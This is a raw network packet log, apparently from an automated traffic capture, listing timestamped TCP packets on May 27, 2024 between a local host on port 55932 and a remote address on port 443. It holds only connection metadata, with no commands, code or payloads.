May 27, 2024 19:30:41.607269049 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.607439041 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:41.607439041 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:41.607456923 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.607527971 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:41.607659101 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.607701063 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.607743025 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:41.607754946 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.607780933 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:41.607810974 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:41.608026028 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.608064890 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.608108044 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:41.608119011 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.608146906 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:41.608170986 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:41.608402014 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.608443022 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.608485937 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:41.608495951 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.608524084 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:41.608546019 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:41.608623981 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.608690977 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:41.635343075 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.635385990 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.635462999 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:41.635483027 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.635673046 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:41.656354904 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.656402111 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.656466007 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:41.656502008 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.656528950 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:41.656546116 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.656606913 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:41.656620979 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.656657934 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.656676054 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:41.656694889 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.656733036 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:41.656737089 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.656752110 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:41.656764984 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.656805038 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:41.656830072 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:41.656862974 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.656955957 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.657018900 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:41.657032013 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.697619915 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.697730064 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.697726965 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:41.697766066 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.697797060 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.697803020 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:41.697825909 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:41.697838068 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.697869062 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:41.697931051 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.698004007 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:41.698002100 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.698043108 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.698084116 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:41.698254108 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.698319912 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:41.698333979 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.698646069 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.698658943 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.698731899 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:41.698744059 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.699141026 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.699157953 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.699210882 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:41.699223042 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.699275970 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:41.699531078 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.699543953 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.699599981 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:41.699611902 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.699717045 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:41.724163055 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.724178076 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.724387884 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:41.724452019 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.724528074 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:41.745328903 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.745345116 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.745440006 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:41.745471001 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.745527983 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:41.745556116 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.745569944 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.745623112 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:41.745635986 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.745685101 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:41.785583973 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.785598993 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.785835981 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:41.785898924 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.785981894 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:41.786144972 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.786159039 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.786235094 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:41.786248922 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.786319971 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:41.786926985 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.786986113 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.786998987 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:41.787013054 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.787045002 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:41.787050009 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.787065029 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:41.787070036 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.787081003 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.787106037 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:41.787144899 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:41.787803888 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.787817955 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.787903070 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:41.787916899 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.787974119 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:41.813591957 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.813606977 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.813692093 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:41.813719988 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.813786983 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:41.834042072 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.834074020 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.834130049 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:41.834146976 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.834182978 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:41.834222078 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:41.834309101 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.834323883 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.834384918 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:41.834398031 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.834465981 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:41.874303102 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.874376059 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.874497890 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.874634027 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:41.874634981 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:41.874695063 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.874727964 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.874747038 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.874836922 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:41.874836922 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:41.874857903 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.875062943 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.875081062 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.875128984 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:41.875143051 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.875170946 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:41.875386953 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.875401974 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.875471115 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:41.875484943 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.902421951 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.902446985 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.902679920 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:41.902740002 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.922882080 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.922895908 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.923099041 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:41.923160076 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.923260927 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.923280001 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.923361063 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:41.923378944 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.962764025 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.962784052 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.963013887 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:41.963076115 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.963264942 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.963284969 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.963339090 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:41.963341951 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.963399887 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.963443041 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:41.963463068 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:41.963598967 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.963613987 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.963697910 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:41.963711023 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.963737011 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:41.963964939 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.963983059 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.964035988 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:41.964047909 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.964080095 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:41.964334965 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.964351892 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.964440107 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:41.964452982 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.991291046 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.991319895 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.991523027 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:41.991585016 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:42.011631966 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:42.011647940 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:42.011858940 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:42.011918068 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:42.011974096 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:42.011992931 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:42.012044907 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:42.012063980 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:42.012098074 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:42.051774025 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:42.071696043 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:42.071702957 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:42.071893930 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:42.071947098 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:42.072006941 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:42.072040081 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:42.072060108 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:42.072088003 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:42.072088003 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:42.072113037 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:42.072143078 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:42.072166920 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:42.072266102 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:42.072279930 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:42.072348118 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:42.072361946 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:42.072422981 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:42.072525978 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:42.072544098 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:42.072622061 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:42.072633982 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:42.072693110 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:42.072890997 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:42.072907925 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:42.072964907 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:42.072978020 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:42.073008060 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:42.073025942 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:42.080065966 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:42.080082893 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:42.080203056 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:42.080214977 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:42.080285072 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:42.100625038 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:42.100642920 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:42.100846052 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:42.100861073 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:42.100887060 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:42.100944996 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:42.100989103 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:42.140887976 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:42.140903950 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:42.141119957 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:42.141179085 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:42.141212940 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:42.141235113 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:42.141311884 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:42.141330957 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:42.141362906 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:42.141824961 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:42.141841888 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:42.141900063 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:42.141916037 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:42.141946077 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:42.142419100 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:42.142440081 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:42.142541885 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:42.142560959 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:42.142585993 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:42.160506964 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:42.160530090 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:42.160660028 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:42.160689116 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:42.168343067 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:42.168447018 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:42.168472052 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:42.168551922 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:42.189050913 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:42.189075947 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:42.189186096 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:42.189213991 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:42.189275026 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:42.189619064 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:42.189637899 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:42.189709902 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:42.189723015 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:42.189785957 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:42.230029106 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:42.230048895 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:42.230227947 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:42.230256081 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:42.230326891 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:42.230355978 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:42.230375051 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:42.230436087 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:42.230448961 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:42.230510950 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:42.230680943 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:42.230699062 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:42.230772972 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:42.230786085 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:42.230817080 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:42.230840921 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:42.230998993 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:42.231017113 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:42.231091976 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:42.231102943 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:42.231168032 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:42.231275082 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:42.231290102 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:42.231362104 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:42.231374025 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:42.231431961 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:42.259351969 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:42.259372950 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:42.259454012 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:42.259469986 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:42.259500027 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:42.259540081 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:42.278393030 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:42.278450012 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:42.278633118 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:42.278633118 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:42.278696060 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:42.278732061 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:42.278764009 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:42.278784037 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:42.278800011 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:42.278835058 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:42.278855085 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:42.278896093 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:42.319188118 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:42.319202900 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:42.319428921 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:42.319488049 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:42.319575071 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:42.319576979 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:42.319588900 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:42.319610119 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:42.319647074 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:42.319662094 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:42.319696903 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:42.319725037 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:42.319958925 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:42.319976091 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:42.320044041 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:42.320055962 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:42.320128918 CEST	55932	443	192.168.2.16	104.21.96.107
